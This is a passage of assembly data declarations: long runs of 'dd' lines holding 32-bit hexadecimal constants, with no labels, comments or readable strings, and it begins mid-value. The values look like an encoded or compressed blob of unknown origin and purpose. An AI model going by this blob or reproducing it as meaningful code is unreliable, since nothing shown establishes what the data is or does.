118F23h dd 0DF2937B0h, 3259A7C5h, 0C3779100h, 7041406Ah, 90873AD3h dd 0FFC6A000h, 0B8188E0Fh, 0ACDAAF00h, 0A56561F2h, 3C9448EEh dd 205CAA05h, 0E52FC005h, 0FC07BAF6h, 22DC953Eh, 8635C210h dd 80E717D8h, 79260427h, 0CBE4C1A3h, 0C7ACF87Bh, 3BB18F04h dd 0EBC48568h, 0C3EA8000h, 911EB8h, 87E13617h, 0E5D9ED8Ah dd 98FFA00h, 9FDD8BB1h, 0D0940089h, 0EFCBC785h, 8E48D82Ch dd 0EB027660h, 42BADE57h, 0A8A8402Ah, 184F0E1Bh, 29E0A584h dd 47A2528Ah, 61B8F700h, 0D09715FCh, 0DE62001Eh, 46E6BD08h dd 0A13D9F95h, 0D0A2282Bh, 0A6244001h, 5D231A56h, 3C21D280h dd 79B36031h, 0ECFF7074h dd 26F60883h, 3BEE9116h, 0D6D0305h, 82259380h, 0C4D43AF0h dd 0E0F2B200h, 939950F4h, 0AA009273h, 47AB2577h, 681358h dd 0BA063E94h, 0CAB6BBCBh, 3527B300h, 4B29D54Eh, 0E86201C5h dd 0A647D378h, 810030FBh, 1D5440h, 3F213052h, 142E36C2h dd 0B0FBD700h, 89A06A88h, 0D8400B2h, 3BCE5B7Eh, 38000960h dd 19F750F5h, 35E9072h, 5B089488h, 6A982D8Bh, 5D00B902h dd 3A1D3073h, 0E55C7Bh, 47ED186Eh, 0AEBC20DDh, 0F78CD300h dd 379D034h, 36B4005Ah, 3D5EA952h, 2800E486h, 0DFAD33AFh dd 0C847FFh, 11B080EFh, 274056Fh, 97084B00h, 2493C4B9h dd 89A60EF8h, 8BC018F2h, 0F9C07FB7h, 0F3CC8D00h, 9F8A3CE9h dd 2C6B000Ah, 0D913283Eh, 0B900B1BCh, 2A2D7734h, 7AA8797h dd 0E49FC301h, 0CA9580B2h, 63008D65h, 0BCE1A329h, 0E03DEA5h dd 8840EA61h, 50246E80h, 5E0005B9h, 0FD3FD238h, 0E49C7A7Ch dd 9AFF006Fh, 4A11D546h, 0E600030Bh, 3EDF33E9h, 3A45E776h dd 0BC00713Ch, 5C0DAEEEh, 0C4006446h, 0A6D0500Bh, 29827Ah dd 271828ACh, 0A03A20B8h, 0FD055900h, 0EB12D498h, 3F9A9848h dd 0D580825Dh, 910FB417h, 26B0BDEAh, 5C412900h, 0AA763F7Dh dd 0F4870070h, 45999E48h, 0B20083CDh, 35CE8CC8h, 77F955FDh dd 0D17B001Eh, 0D9FAF69Eh, 0A00465Bh, 72489C56h, 933CEC49h dd 5FA90760h, 68D2B026h, 13006C0Dh, 2BF78E7Ah, 3E5E2544h dd 0E100B317h, 0C2820662h, 0C71EE26Ch, 5184282Fh, 0D1C147B1h dd 0D280DD88h, 87D6827Eh, 571E2AFEh, 4043A9A4h, 0E07042BDh dd 49A1746Bh, 0A8002C5Dh, 418076FCh, 75E40935h, 2E113F00h dd 0D96D40C3h, 64FC06DBh, 3001381Fh, 0BD2A2500h, 96C73E79h dd 0A3770152h, 540EE4C3h, 0A10CF034h, 0F88C2803h, 0A0A6FE80h dd 2ECA86h, 0EA2A6ADDh, 0FF3B4764h, 10985F05h, 80AC93h dd 0A04432A9h, 0EED5A8Eh, 75EF45C7h, 70B00D47h, 307FC5C4h dd 8F6E3400h, 79FA5561h, 0D66F0196h, 6B1ED7Ch, 0B221F05Ah dd 0E20056F8h, 0B012DF4Ah, 6E417Fh, 4EFBD1CDh, 76885853h dd 0EB5F0207h, 0C0DF787Bh, 0B098165Dh, 21CE0792h, 5135E658h dd 30E4A83Eh, 0FB063451h, 4BFCB073h, 765A006Eh, 3E9160BBh dd 49F67822h, 0FFC57300h, 13451595h, 1E72005Ah, 71B1E3C8h dd 8301A9EFh, 4BE5D51Dh, 0C0D426D6h, 3FE43F2Eh, 0A62CBCC8h dd 5EF10014h, 66DAF76Ah, 8062D31Eh, 0C0F2A40h, 2642CBF8h dd 2090B0h, 18EC9ED7h, 9A731587h, 438C9F00h, 0F4FE1F24h dd 731616D2h, 88F860AEh, 0C400588Dh, 2DAB971Eh, 24826D64h dd 3BA0162Ah, 0C1E1F91Dh, 499CF40Eh, 8FCCE0FEh, 0D877570Eh dd 268C602Ch, 2926976h, 27E9D1A9h, 0FE8E8D14h, 17AC5140h dd 1A00A6C5h, 47D52E98h, 0D31DFDh, 2722314Dh, 5A87CD3Bh dd 7568E600h, 0CCCA3FC6h, 4DFB00C9h, 0E497D5Fh, 0F0E83820h dd 0EF0A4801h, 0CCA3BC8Ah, 1CC6E0FCh, 0C07F1286h, 2E2DFD1Ah dd 9500998Eh, 69356B84h, 15B5E2Bh, 0F5E2A2BFh, 0F8F89EE1h dd 0F2000F81h, 0C4B2374Dh, 90DBFF59h, 8F2C252Ch, 7570F6F8h dd 0ABE68903h, 0C80CE341h, 0CE1BF1h, 62FB7F7Dh, 0E5C3AC8h dd 0DFE79300h, 0C5DA1751h, 1F061C13h, 0E14B008Fh, 5C07D1B8h dd 82249B00h, 695525A5h, 0CDBB02A7h, 8F866847h, 83C3C660h dd 4F10C403h, 0C879DA92h, 20F298h, 388F610Dh, 541A1DD5h dd 0A40FAC00h, 2F5B83ABh, 1CE700CDh, 7BA897Dh, 0C1F3736Bh dd 0B59740D7h, 3303442Fh, 0D01FD63Ah, 51A9015h, 10D0163h dd 0D48BE30Eh, 3C23F816h, 0A923400h, 0D194D0A7h, 0A1EC0D06h dd 20A64779h, 7374C7DBh, 0E90B9500h, 5908ACC8h, 50E50051h dd 7A052D1Bh, 950FCA57h, 40D111ABh, 81DA043Bh, 833F00B7h dd 0E8B80BB4h, 36010671h, 0F731A4A3h, 14D47656h, 730700EAh dd 991D20Ah, 0B507D7A6h, 69750C93h, 0F3161CE0h, 34BB133Ch dd 231D06h, 10D1519Bh, 0E800D808h, 314357CBh, 25950CB5h dd 0B8005829h, 0B836ACC1h, 9DB0A903h, 0B0827B0Fh, 55480Ch dd 619EFF88h, 0A46816B2h, 2F006B75h, 0FA25A99Ah, 58A6762Ah dd 0F50043F3h, 3B2846B1h, 86003474h, 12BE6E99h, 0FDFFDEh dd 0B1B3C1F3h, 0C958AF45h, 60D2F007h, 8834918h, 484C0D3h dd 2020CCB0h, 660EB610h, 60436575h, 239909CAh, 5FE2E3h dd 53B7E944h, 0D302A5FCh, 0AFC83F67h, 980D4870h, 18E40F58h dd 80C1F3DDh, 349E6232h, 0E60072DCh, 29232F89h, 0A0FEE3D5h dd 0C06A9D80h, 9784F621h, 5E70C4EBh, 0D76538h, 9BC60561h dd 281EC7h, 58E7A09Eh, 8FA8F6C1h, 13910A00h, 68E84C64h dd 0C9BC0151h, 0ADC867F5h, 0B44DFC26h, 20954300h, 117ED0E8h dd 387F4EEh, 56D6CF48h, 2C4CEC47h, 76340016h, 2E350BA1h dd 7FD42482h, 40C21EA4h, 3A3237A2h, 4400FC7Dh, 853E48FDh dd 3109341h, 465DF7C4h, 2D80593Ch, 190BD237h, 0E3FB5CCh dd 0DE66C012h, 613043h, 0D3A53115h, 925D2E10h, 592FEB00h dd 0A10A2119h, 0ECAF000Eh, 83B4C474h, 9D009796h, 0AB4060D0h dd 1E5F8FE3h, 47C4FAAh, 0EFE506FDh, 255B2A81h, 1D4E0D0h dd 3A5AD924h, 0DDF7ED87h, 55CC408Eh, 0E33DB4FBh, 0D3E80071h dd 0DC7427A6h, 0BA43006Bh, 0EA05F50Fh, 0D000AC0Eh, 6151CB73h dd 0CD796h, 29B3BE46h, 6A2D41D3h, 7099900h, 0A983D0F5h dd 0F3220036h, 95C2162Bh, 0A60E1E8Eh, 0B87D4C1Bh, 1F901890h dd 814506E9h, 0C719B697h, 91226068h, 0ACD198C0h, 195EDD8Dh dd 0D9B20A1Eh, 192DF0BCh, 97CD7A0Fh, 0FD185A42h, 799FB280h dd 2249BBC8h, 0FA4F001Ch, 9794FDA1h, 40672878h, 28A9002Ch dd 3E0A1DD3h, 0B1883FD2h, 7E8940C9h, 44774F42h, 9090B669h dd 31F959C2h, 9563028Eh, 40BA0510h, 62507AD2h, 4D206D58h dd 42DA218Ch, 6A0EBB03h, 437AA2CBh, 0BD5911B4h, 429F1082h dd 44F32184h, 65206106h, 56818F93h, 0E2A05857h, 3EBBCAE7h dd 2D44D72Eh, 2091C820h, 5506407Bh, 725146E1h, 2AE501C0h dd 0A46A60AEh, 4BEC20F2h, 22D70D00h, 8C6DDCBBh, 601D24D8h dd 0A7F00CCAh, 9F1EC7D0h, 47D88F65h, 796A40C0h, 9A4F0C68h dd 0A6C821E1h, 0FED9BD00h, 0B82C27BCh, 446E00CEh, 0F54F1B20h dd 0F600CDEDh, 0BB0F0D69h, 75349742h, 0A55F0705h, 0A0BE75A0h dd 6D9F3055h, 7300E7FCh, 0AC8A4C65h, 803F0DAAh, 7AEED45Ch dd 0FC10CA00h, 74E2E677h, 0E94C608Fh, 62A93017h, 736F6501h dd 0D9E15E4Eh, 0C1017B20h, 0BED74CC9h, 33438F4h, 0B7EFA07Ch dd 2F6B8862h, 29C31DAAh, 0A8D43D2Ch, 0BBDA1E5Dh, 0E62DC066h dd 6E6539CDh, 6C61E000h, 18913104h, 0E0BD540Dh, 0B4BA2A81h dd 0A1F909FCh, 8410486Ah, 149089C7h, 87431304h, 74D073C4h dd 19918DDh, 8A1FF488h, 954E31E3h, 1B41A08h, 7192B2BCh dd 80F6299Fh, 0AD2515E0h, 0EE11783Ch, 88A6000Bh, 1A450F08h dd 23021DE8h, 0F9D03B6Ch, 0C28C807Dh, 75ACE4Ch, 0ED447096h dd 89A8BAE2h, 0B8900C81h, 22EED6B7h, 19B1D491h, 0CED0A1FDh dd 28804971h, 0D4A6EB0Eh, 8762F5C0h, 123AC194h, 71473046h dd 37936C5h, 0D3552A1Ah, 63C8D778h, 44006473h, 0E3CBB819h dd 2EDE5240h, 9FC28A6h, 3880D283h, 0AB07957Ah, 0AD07F8A6h dd 0B51D31AAh, 21F86F88h, 0A900FC2Eh, 5CFF0FBEh, 3377D2Ah dd 2C117415h, 0C000764Ch, 56693E14h, 485DC87Ah, 158170CDh dd 4CACEC43h, 98087DC4h dd 70452387h, 940173BDh, 0D142E85Bh, 583445CCh, 0F0820170h dd 0EBECF795h, 93DFD42Ah, 0DCFF9C00h, 608E71AAh, 730C00F8h dd 9E6EF581h, 110245D3h, 0ECD9B8C2h, 847FE036h, 64300015h dd 699FEB20h, 900388EDh, 0F6EAACA7h, 0CEF7B03Fh, 8B7175h dd 43DB39DFh, 0FED560F9h, 3322B100h, 0C4CCCAEEh, 42EF0189h dd 62D357F2h, 474D7023h, 0CE52B001h, 0F032604Dh, 18C340E4h dd 40E043D0h, 7D009853h, 29BD6344h, 0F8F0CD26h, 96A63EFAh dd 14C99F03h, 9388E5C1h, 43004B36h, 3DBA3006h, 0A0CC1D12h dd 0E887B8F4h, 64D00198h, 86ABDF2Fh, 0BD8EF07Ch, 9302E000h dd 0CD9EB307h, 0FEF410h, 503F4C73h, 37C52388h, 0EA0048F0h dd 539DE27Dh, 21AF0Bh, 0CCC7113Dh, 0C69B0C38h, 0C4841F00h dd 994AB15Dh, 90EB02DEh, 7B18B347h, 519471E0h, 21F85700h dd 50659382h, 0C6660044h, 0D1342B5Dh, 0C76041AEh, 57C0FE49h dd 97F50EDBh, 26E732E4h, 0E2BFE036h, 0C73F1C16h, 0E60100E1h dd 49759688h, 0CC5000B2h, 97D73D7Fh, 0E300BB6Eh, 85B7DA0Eh dd 73DFBCh, 0B62C1DC4h, 36830C11h, 42C87000h, 4039F9CBh dd 0C7A50078h, 62C99873h, 0F50010B6h, 0C24A409h, 3D26EAD0h dd 0E40CE069h, 2190C1B8h, 0F75E200h, 0ED3563A3h, 0DF94023Ch dd 911E7647h, 518BB4E0h, 0AB00D378h, 58F86212h, 50B7C45Fh dd 7CA6C3h, 0DBF55CBFh, 0C8B2CD5h, 30512E00h, 7A0875Dh dd 8D1D00CAh, 20CB3F49h, 38E49BB4h, 74429E02h, 0E0DACF4Eh dd 4082F1h, 88A8F5B5h, 0C950A528h, 39E0EB0Ch, 40E6294Fh dd 0B6008062h, 6304989Bh, 45DEABh, 687D4D10h, 2FA73DC2h dd 0B52EF000h, 0F2BE5E80h, 8C3800B7h, 0FCF3CCC1h, 0DFA191E9h dd 0BDDCDCEBh, 0D7401F0Fh, 0A5EE00C7h, 2ECCDBC4h, 3CFC111h dd 0CD7D7110h, 2A01DE0h, 0DDD91200h, 9CBC7CF1h, 0D764009Eh dd 773D1CE1h, 0AD1FFE54h, 33C2C2E6h, 4079D5FFh, 0A5D72Ch dd 732EAB58h, 7E903D55h, 0D4653200h, 0A91C265Fh, 0AA4F0077h dd 74C30DCh, 0D13DA490h, 457180A2h, 8A509892h, 1FC0E57h dd 0A9A0C815h, 5E596C44h, 8064133Fh, 0EBB11D90h, 2376B63h dd 7B0C5A74h, 1060422Ah, 0F100C7C5h, 0CE9E918Fh, 33F5E49h dd 41ECFB6h, 0A2984FAEh, 71012DBBh, 1B2BDCE4h, 0C5F47A63h dd 0C2E50052h, 5B5F9237h, 850014F4h, 0F8475843h, 790334h dd 9E6338BEh, 59062EB4h, 953051ECh, 0F2903225h, 723E5C09h dd 0E4B2F00Fh, 80247427h, 0F74D3A12h, 9BF65502h, 4020796Fh dd 73E8FAA6h, 7E4900A0h, 51F092AFh, 0DF007F0Ah, 0C2EC0C6h dd 6CED67h, 5AA6CA9Fh, 0C720D13Dh, 0E800BD70h, 840F9E8Ch dd 313F9ACh, 0C834F093h, 14D8977Ch, 0E40079E0h, 593556C6h dd 13E8889h, 0D22CDB5h, 0C49B84A7h, 36001B4Ch, 33C857CBh dd 2E4650h, 6099D09Fh, 0B5A9293h, 4B9C080Eh, 94C160A4h dd 0F8C9CF19h, 7E1004Eh, 93D802A9h, 0AA012272h, 0FBF32E45h dd 9EFCD9A4h, 1CB9EEDFh, 3931D743h, 2BD1083h, 6780A299h dd 6F00F2FEh, 2CE90D07h, 787E814h, 5189AC3h, 917EF703h dd 0EC3F75EEh, 6C076B69h, 0CFBC3057h, 0CD2C9F20h, 6F940B65h dd 2200FFBEh, 84D3485Ah, 0D0A78700h, 0B3037D07h, 2577F56h dd 0D85A47A6h, 90801C10h, 7679B9C6h, 0DBA86800h, 0C8CAC0EAh dd 0EF9D2CE5h, 5E7C0768h, 0D0D7578Ah, 9960D404h, 399E210Fh dd 0AE3B605Ah, 762AC1h, 52493D0h, 4E55C265h, 0E61B2500h dd 8293CBCh, 0FEA20323h, 0ECE5830h, 61B7EBC8h, 93007590h dd 0CDCB71B4h, 0FEBC36h, 53C84A25h, 0D7075F19h, 2943DC01h dd 0A1EB0FBDh, 0CE47E4h, 0D93A5427h, 0FE440286h, 2E33C30Fh dd 56A82031h, 1EF48C24h, 109C7CAh, 0AD7D4F8h, 471087FDh dd 0DE0049EEh, 3B3D870h, 3AC46DB7h, 8C9857C1h, 1E000768h dd 0B93EBCA6h, 60D3E328h, 2F0F78C0h, 0CC380C15h, 0C94302BBh dd 0E35A3BE1h, 3713F845h, 1F80733h, 60FA269Dh, 4B52D1C7h dd 0A1303400h, 54467F7Dh, 79C7020h, 0B760C45Bh, 0FC71F312h dd 1BAF2E80h, 0DA034800h, 0BD94EFDBh, 0FFB21DD5h, 7D590032h dd 4D7B5E15h, 11B06E00h, 278A804Ah, 0FEE109A6h, 5480BABFh dd 0A2D4E04h, 0DC81C500h, 7661D15Eh, 0E2AD0511h, 801F7A91h dd 9214A665h, 0D5218F00h, 46398549h, 0DFBD00A7h, 437061E1h dd 0F44C3264h, 0FDBC00E0h, 7F82F762h, 79E54C7Eh, 4C480900h dd 0CB787690h, 11005EECh, 1434B732h, 0FFAD581h, 1CAF7959h dd 4DEE2280h, 6800A553h, 28AE327Bh, 97845Ch, 0D72CCB16h dd 23E10996h, 0E7647400h, 6FF86544h, 0E4171C4Fh, 2BA600FFh dd 0B526E0FBh, 907B7000h, 0A78C9E42h, 921D0E06h, 0B300B205h dd 375A2FCEh, 9CD87C00h, 0C35C8D0Ch, 0EC450062h, 48AA8A5Bh dd 239F007h, 514E00A7h, 65908F17h, 553E1953h, 0CBEB9CCAh dd 9193BAA0h, 110A561Dh, 0CC268Bh, 0FAE90C76h, 29AB0F9Dh dd 9F201DD1h, 0E56E1C36h, 3038DF30h, 0E35D018h, 48F5FEE6h dd 7C002FA9h, 0A310E3EAh, 70C84C00h, 0CBEFB03Dh, 0F65930C5h dd 9C619D28h, 7241CA00h, 0F060315Ch, 6E691DACh, 0F1D00059h dd 0D48F4C6h, 0EA56710Bh, 0EBAC00BBh, 3C505A69h, 0F41C7AADh dd 6180BD1Bh, 659523B6h, 4C1E4E05h, 2500E92Ah, 9077553Dh dd 66890101h, 0AF9DBD8h, 41C8CC98h, 47789B00h, 585EBE0Eh dd 3FFC6Fh, 0F5AEAFA8h, 0D5CA18EBh, 644E542Eh, 873A1028h dd 1893BBA6h, 40184C2Ch, 94AE004Dh, 1E09358Eh, 4584449h dd 0DC1B1D40h, 0F8C9DC0h, 0F0D72Bh, 7B6AD0F4h, 0A943AE64h dd 85913600h, 90664D25h, 0DCD200EFh, 0C79ABC1Ch, 3C74589Dh dd 1E26CE16h, 0E12CF207h, 564D8F90h, 0BF8E005Ah, 0DDF737D1h dd 99E222BEh, 41714600h, 0F4BD05DBh, 45FC0044h, 859DC2DAh dd 0F50BA97Ch, 8FB63C3Fh, 234E2050h, 0CB653Eh, 0BBF9FC76h dd 0E348CD24h, 711C4A00h, 0EA44B51Bh, 0FBD403CFh, 0A88018A2h dd 0E87DC0CFh, 6A008F83h, 0C1D81559h, 134F90h, 30B7C7C6h dd 0A9D331EFh, 52818807h, 7BF993h, 4595E494h, 0BD160A23h dd 0E17026h, 0EB73386h, 0C61E79B4h, 4035900Bh, 44C5F81h dd 0D4FAF840h, 6B10A0B3h, 0A33202D5h, 0C9F8C78Fh, 6608C180h dd 1D7BB7AAh, 39EFFC3Fh, 842CF286h, 0CA8150DDh, 1886D13h dd 0AFA2E8CFh, 0F308E260h, 92B034h, 866198A5h, 0D27DBEBBh dd 2D843905h, 44003FAEh, 36B4FBC6h, 0C44F03B7h, 0D70EBD20h dd 0DF15C8E0h, 65E63A00h, 0FE70288h, 51140025h, 0F5BDACC6h dd 0F4003E16h, 8E53DFFCh, 0F62FE0E9h, 91440785h, 80935450h dd 2655A37Eh, 0DE94D425h, 6FBC0070h, 7006EAF8h, 7220FC18h dd 66EBF0h, 76B5D5ADh, 1EE9D4B1h, 0E491C100h, 43E68460h dd 68FF1CB3h, 0E2A6C267h, 0BC80A1C5h, 88CC09B2h, 3E15E003h dd 0C854602Eh, 764A788Fh, 84C85085h, 104900CAh, 0F25228B7h dd 39003A9Eh, 23FC3427h, 9F68671h, 1D3B437Ah, 87310301h dd 38ADFCB5h, 61418100h, 0A06E13BAh, 5080F559h, 0FF51F47Fh dd 0FB00F054h, 0F8457541h, 0EFC61Fh, 0D24FE282h, 7A50DE81h dd 99EA9D00h, 42795B17h, 90C56375h, 6E9883DAh, 0A92651DDh dd 3DD02Bh, 9305A28Bh, 0F89EA41h, 0E50B9459h, 908A1C6Fh dd 53190394h, 0A8A8B521h, 300CCDCh, 655CD4B0h, 0EA1849B1h dd 10E7C7Fh, 363C2EFCh, 60E0C3FDh, 8E0D856Dh, 182B3986h dd 532230h, 25FAFD4Dh dd 990BAE83h, 5E068503h, 0D9C8D6h, 8A51A544h, 0F03AE94Ch dd 7452FE07h, 0AD700610h, 31C25B1Fh, 0A8507BE5h, 0FB3080CEh dd 0BD9BCCC3h, 2C680085h, 35F067B7h, 0AC00DB17h, 9486E093h dd 0C1505BF4h, 0D576A138h, 13080D2h, 0FDB46DEAh, 1C50C034h dd 0A3C522DCh, 4A45FA00h, 0C77AF516h, 7CFD76A7h, 4CF1E4CCh dd 6F006862h, 107F03Fh, 5F03EA68h, 0F4CD76DCh, 757000DFh dd 0A6360498h, 97004B4Eh, 0E0D99A27h, 0F03B38CAh, 0AF57005Dh dd 6ED087A5h, 9907031Fh, 1827171Dh, 0BC447BC0h, 0E51600D6h dd 0C54DFFB1h, 3C00FE38h, 0F2C0706Ah, 0DDAB22Ah, 0F480306Fh dd 0CA7DFDF2h, 0B82C1EE0h, 0AC60AD00h, 0F34F04DCh, 0B1DF0019h dd 0C08838A1h, 0D400B279h, 6FD82DB5h, 0C11B23h, 58602BF0h dd 733C5680h, 5F96BA00h, 37CC8DF7h, 6D1400A0h, 0D636192Ch dd 0DB71600Dh, 2E98E600h, 7B0EA75Bh, 0BD820049h, 0D2DC88DDh dd 530CD3B2h, 9087CDD4h, 0E4C87A80h, 34040021h, 0C9309B37h dd 0E4ECBE33h, 0F3F29400h, 0E6CB90EFh, 0CCE0300Bh, 150A4238h dd 39C7B10Eh, 0FA4B205Fh, 0F01222FCh, 4CA20054h, 0C3E9E1CEh dd 5F5ACADBh, 0BD002FE8h, 1FD89777h, 4E0040B4h, 0A8C511BEh dd 0B3460Ah, 8ED69423h, 6149E3FBh, 25018CEEh, 0C7DBB30h dd 56204D44h, 43870070h, 0CB669D35h, 0D80FC205h, 60302D32h dd 0CEC6D583h, 383FF062h, 0AC0F2AD1h, 9AA03DF3h, 323A380Ch dd 24DB18C0h, 0DA194Eh, 0C0F1D481h, 92FC8815h, 0B34C3701h dd 16F35FA1h, 6F2EEC0h, 0D16CEB94h, 0D20F5885h, 87349295h dd 9D5075E0h, 304636Ah, 80591FBEh, 0B0FFC017h, 0B181F6D8h dd 5119B960h, 2BD79D7h, 0C5B0CBC8h, 3AC056D1h, 31010C9Dh dd 0E5E7E977h, 8CDCFF68h, 0DE2800EFh, 0EE364F60h, 0F60F6966h dd 0A0203C1Fh, 0D0A08076h, 0C1B6F4E3h, 3D504150h, 0AB57609Fh dd 88BDB003h, 0ED62858Eh, 226116C0h, 0A1EE00F4h, 0FE50B2A8h dd 8300F3B5h, 0A9988832h, 1CFC875Fh, 0C0A7B8AEh, 79175BCBh dd 830077ABh, 0EB1DB6FEh, 6CBABDh, 71E29E41h, 40BF8463h dd 8794700h, 8A782644h, 807F00B1h, 5612F45h, 0E200E934h dd 1B63A335h, 8546CCh, 0E7F4FF6Ch, 4B9D12F3h, 0E688C454h dd 53A71E00h, 0DB0B1C42h, 0C0A40BE7h, 4700C250h, 1438D09Ch dd 30C0B8FEh, 0E17EB66Bh, 2886FC63h, 3E84B0CAh, 4A00A3CEh dd 688F78DDh, 0EC006424h, 0E29F8A5Fh, 389EFCB5h, 0D1003A4Ch dd 0DD43607Dh, 0B40031A8h, 0C0448114h, 14075CDh, 78E40807h dd 0E0195BF9h, 310001B0h, 0A3C6ACDCh, 866F0h, 941F4E74h dd 0EB702C98h, 0E478E700h, 8AEDEE71h, 0A72A00E0h, 1CA596CEh dd 0E714A18Dh, 0B020AD20h, 0E7044D83h, 7B3EA208h, 0C03A0Bh dd 0DA2F78E0h, 58CD3684h, 0DE00D796h, 0AE591B06h, 0A23EFCC8h dd 0B4980ACBh, 4830B2F5h, 32023DEh, 0F09F953Bh, 7B9857CDh dd 8000E551h, 2A62D44Eh, 0ED939E2h, 94041069h, 937CCAEEh dd 0AD6200E0h, 0D90882C8h, 0C6F7F800h, 87066924h, 136E0D7h dd 0F2EF7821h, 0C5F10840h, 5DA440CEh, 1A80418Eh, 587A00E5h dd 2C1F90CBh, 60F206Ch, 40D11083h, 149A3B4Bh, 0E988001Bh dd 198AB496h, 0B8C3820Eh, 0F9374D3Ah, 7885C83Bh, 70627791h dd 53B17580h, 4646F278h, 51B5C580h, 5407EDB8h, 0C2CDA5D4h dd 8CF25CA7h, 0A9E4273h, 0E1007EF0h, 0C718DF3Ah, 0E69D00F1h dd 1F9CCAADh, 0F900723Bh, 0D1CDED9Ah, 369AC63h, 59258208h dd 821F51F7h, 0AB43FA8Ch, 0DAADA446h, 3F808043h, 5347D970h dd 24802071h, 8D1BECF5h, 13310E88h, 0E43C21h, 9FC8F116h dd 0D900430Fh, 0C7F91696h, 2231E0h, 0D862541Ah, 77DD39FFh dd 7AEF8F00h, 0F2E29787h, 110C01B0h, 0D2267637h, 7930FC2Eh dd 1F8AA100h, 0CDE49669h, 0B47F30E0h, 5584F208h, 3EF59B00h dd 0E3160E43h, 0D60900D1h, 640D1135h, 28C0B7E5h, 0D85B4ECDh dd 5C410089h, 0B51D81BAh, 8B2C152Fh, 16008F12h, 0C0F5A6BFh dd 4D663083h, 0CAFA75CCh, 0CECBE10Ch, 0EA9CA090h, 95F5240Bh dd 1B003F34h, 775610EAh, 39019354h, 5C0ECE4Bh, 0E6E41F0Bh dd 3BD9C02Dh, 0BED09384h, 0FC95B200h, 366D7102h, 77DE00EDh dd 0AF5870EFh, 1E026FD4h, 6BB17820h, 907C40BBh, 27E7017Fh dd 0E63B7BB0h, 50BE1Ch, 71AE174Ch, 1C4DC9D3h, 40AC9686h dd 42BFBD8Dh, 17009B0Fh, 0A515DDFCh, 0FBABE0h, 60BB7B2Fh dd 0B1334BD0h, 0A0188CA8h, 3C6669C0h, 7BF6CB6h, 116740B7h dd 0C19A8105h, 0F97C817h, 0EFB40666h, 9D7338h, 8BAB71BBh dd 0A9C798DDh, 0EF903CB8h, 7FED9200h, 446DE97Ch, 0A420E546h dd 0ECDB0305h, 19FD175h, 55932680h, 36762406h, 155969AAh dd 0F47A8FE7h, 4FB53403h, 40003AB9h, 731D4AFFh, 58FD700Bh dd 160037B6h, 0FBAA6E2Ah, 6000E293h, 0AD8EF4FCh, 22FF3Dh dd 0CE7383BAh, 7DC01543h, 97D1A100h, 24CC4E7Ah, 0FC1600F2h dd 0E7C9B3EAh, 9907016Bh, 2DCD87A0h, 802BAE60h, 971E0B4Dh dd 0C003646Ch, 0F988FB14h, 0C403FDD9h, 95EDACB6h, 0EAB4F03Eh dd 0CCAD00B9h, 63938B38h, 0A200BAE4h, 895267D7h, 7AA5DE98h dd 5CEB0FD1h, 72601F28h, 6B4190D3h, 2D1A3901h, 5BC5755h dd 9DD2F5DCh, 4F028000h, 697C9D6Bh, 3A890B60h, 0FC82776h dd 800A1CA9h, 9554CC00h, 0DA002A17h, 0FE2078B8h, 0C07546D1h dd 0C13F4B31h, 0E100E876h, 0A1091FF1h, 0A960BAEh, 257B83F8h dd 0BBB00124h, 0DD7842E1h, 0C0430879h, 5CDF32E0h, 2700C0B8h dd 0A5DB54B2h, 0C8472FFh, 39708112h, 63188CA0h, 4AD01E21h dd 0BC863E71h, 14870201h, 84721CF2h, 0CFC2FE79h, 0A2F00323h dd 0D143C08Ah, 2013F418h, 0B8009BAEh, 1DF5F34Ah, 17A5C60h dd 82B6C25Fh, 0FDF0B123h, 0B7D840A4h, 7F3CADD4h, 25FA0068h dd 753683B5h, 161CB8B8h, 318CBDh, 68C20229h, 6000EF98h dd 0DAE1EB9Eh, 0AEBD88h, 611C6B6Eh, 0AA1A3B47h, 271D1E00h dd 5A5C21Bh, 0E9D800D5h, 89B25ABBh, 21775788h, 0C0F004AFh dd 3AB80F32h, 7E3BD72h, 46E0DE9Bh, 0FA3B51CAh, 38F2982Ah dd 0E6F30h, 0AF4017F6h, 2429A66h, 5E62AC06h, 53182EDBh dd 5FC23450h, 4C95950Ch, 80A84603h, 0EA01E039h, 0A7FE00D8h dd 12D71725h, 0D1F831Ch, 980351EEh, 117E8Fh, 688B5C18h dd 2ADB3E57h, 16909910h, 2818B82Ah, 540CA2CAh, 0FAEF18E0h dd 0E449C47Fh, 94D1209Ch, 0A879C127h, 8A8874FDh, 3CE03F18h dd 0CF90C0Ah, 24CBA90Ah, 3C8C500Ah, 2A05EA06h, 383C2849h dd 0D01E190Ch, 0C543179h, 5830A973h, 5070245Fh, 226C3CCFh dd 5210EC7h, 84B014F3h, 22A46EC5h, 919B4A8h, 0AF403C52h dd 0C8EEA30h, 4F8F4408h, 0C60C40Ah, 0DB78DC08h, 68B8610Ch dd 22CB1964h, 0E4080D30h, 82B9DA8h, 0D500376Fh, 0D0834828h dd 3491C0h, 0BD2CC3C5h, 0A8017B8Bh, 0E3D3A77Eh, 0D1F4D76Fh dd 537C00FAh, 8B4E8529h, 1602BE72h, 5B470344h, 8E244820h dd 0EEA53E36h, 79F2B860h, 0ECA08A07h, 0BF28953Bh, 0C0080B0h dd 76C99C70h, 2E6F9DEh, 2C4A6F55h, 5C804F85h, 5979354Eh dd 0A1451F30h, 60ABEC8Bh, 6FFC88D7h, 0E503C13Ah, 1CCC0280h dd 550B87Dh, 9C8809ACh, 6C28DCDFh, 0A210F81Ch, 2C78A003h dd 1B7BBh, 0D7726EB1h, 0DA23859Ch, 58480A7Fh, 20B07A4h dd 890079Eh, 13CBFEDh, 8C42738Fh, 8804C0h, 161BA9h, 7D279D56h dd 0CAE14052h dd 20D88260h, 0BBC5Dh, 50423CC4h, 29A18F5h, 527E790Ah dd 1E001456h, 9C078BAAh, 0D534A815h, 80B9008Ah, 81BC9323h dd 2C00C869h, 8F647859h, 249B4457h, 0F81C63h, 4A7B1BD6h dd 0AD00EF8Eh, 573A392h, 697BCC5h, 9360A416h, 9020B82Dh dd 203C0A56h, 0B844D9h, 97458199h, 9D01DED8h, 59F15458h dd 0AC44B64Ch, 0C0EF4983h, 7A2B2D41h, 89613E09h, 68F95B14h dd 0E5352800h, 0E3B6A5Dh, 570040AEh, 0D0E2CD17h, 0A9375Dh dd 532F92E4h, 0EC02A869h, 4B013FFCh, 204F35B7h, 0E8403AFDh dd 0F048E30Bh, 108562E5h, 0F4A35103h, 89CE2B77h, 73329103h dd 18D683BCh, 0B8B1A318h, 0CC010B1Fh, 0C6935BE2h, 0E0EF3F5Ch dd 6195A90Fh, 0C1102084h, 0A7A83458h, 5147DC00h, 0A08CC37h dd 188A6284h, 8494400Fh, 1DBEB801h, 